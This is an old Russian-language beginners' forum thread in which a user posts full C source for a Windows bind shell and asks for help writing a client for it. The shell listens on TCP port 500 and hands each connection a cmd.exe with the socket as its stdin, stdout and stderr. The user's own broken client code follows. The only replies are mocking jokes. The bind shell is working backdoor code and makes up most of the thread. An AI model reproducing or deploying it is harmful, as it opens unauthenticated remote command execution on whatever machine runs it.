Клиент для bind shell'a

Тема в разделе "WASM.BEGINNERS", создана пользователем _nic, 6 апр 2009.

  1. _nic

    _nic New Member

    Публикаций:
    0
    Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается. :dntknw:
    Вот шелл на основе которого пытаюсь разобратся
    Код (Text):
    1. #include <windows.h>
    2. #include <winsock2.h>
    3. #include <stdio.h>
    4. int main()
    5. {
    6. struct sockaddr sockadr2;
    7.     struct sockaddr_in sockadr;
    8.     struct hostent    *host = NULL;
    9.     long handle;
    10.     PROCESS_INFORMATION cmdproc;
    11.     STARTUPINFO cmdrun;
    12.     WSADATA wsaData;
    13.     SOCKET sock;
    14.  
    15.     WSAStartup(MAKEWORD(1,1), &wsaData);
    16.     sock = socket(AF_INET, SOCK_STREAM,0);
    17.  
    18.     sockadr.sin_family = AF_INET;
    19.     sockadr.sin_port = htons(500); 
    20.     sockadr.sin_addr.s_addr = htonl(INADDR_ANY);
    21.  
    22.     bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
    23.     listen(sock, 0);
    24.    
    25.     while(true){
    26.         handle = accept(sock, &sockadr2, 0);
    27.         if(handle != INVALID_SOCKET){
    28.             ZeroMemory(&cmdrun, sizeof(cmdrun));
    29.             cmdrun.cb = sizeof(cmdrun);
    30.             cmdrun.hStdInput = (void *)handle;
    31.             cmdrun.hStdError = (void *)handle;
    32.             cmdrun.hStdOutput = (void *)handle;
    33.             cmdrun.dwFlags = STARTF_USESTDHANDLES;
    34.             CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
    35.             WaitForSingleObject(cmdproc.hProcess, INFINITE);
    36.             CloseHandle(cmdproc.hProcess);
    37.             CloseHandle(cmdproc.hThread);
    38.             shutdown(handle, 1);
    39.             CloseHandle(&handle);
    40.         }
    41.     }
    42. }
    А вот это я пытался сделать клиент:
    Код (Text):
    1. int main()
    2. {
    3. char *buf=new char[1024*1024];
    4. SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
    5. WSAStartup(MAKEWORD(2,0),&wsd);
    6. adr.sin_family=AF_INET;
    7. adr.sin_port=htons(500);
    8. adr.sin_addr.s_addr=inet_addr("127.0.0.1");
    9. s=socket(AF_INET,SOCK_STREAM,0);
    10. getch();
    11. connect(s,(sockaddr*)&adr,sizeof(adr));
    12. Sleep(1000);
    13. for(;;)
    14. {
    15. recv(s,buf,1024*1024,0);
    16. if(strlen(buf)>0)
    17. {
    18. cout<<buf;
    19. memset(buf,NULL,strlen(buf));
    20. cin>>buf;
    21. send(s,buf,strlen(buf),0);
    22. }
    23. if(strcmp(buf,"exit")==0){break;}
    24. memset(buf,NULL,strlen(buf));
    25. }
    26. delete []buf;
    27. }
    ЗЫ:я знаю что где то тут есть аналогичное на асме.Но я асм нешарю :dntknw: Вот может кто на С\С++ поможет решить проблемку?
     
  2. litrovith

    litrovith Member

    Публикаций:
    0
    _nic, всё просто: для С\С++ вводите в командной строке 'execute_necessary_command', потом вводите что вам нужно и всё будет ок ;).
     
  3. _nic

    _nic New Member

    Публикаций:
    0
    Командной строки чего?
     
  4. litrovith

    litrovith Member

    Публикаций:
    0
    _nic, учебника.
     
  5. _nic

    _nic New Member

    Публикаций:
    0
    Здесь еды нету!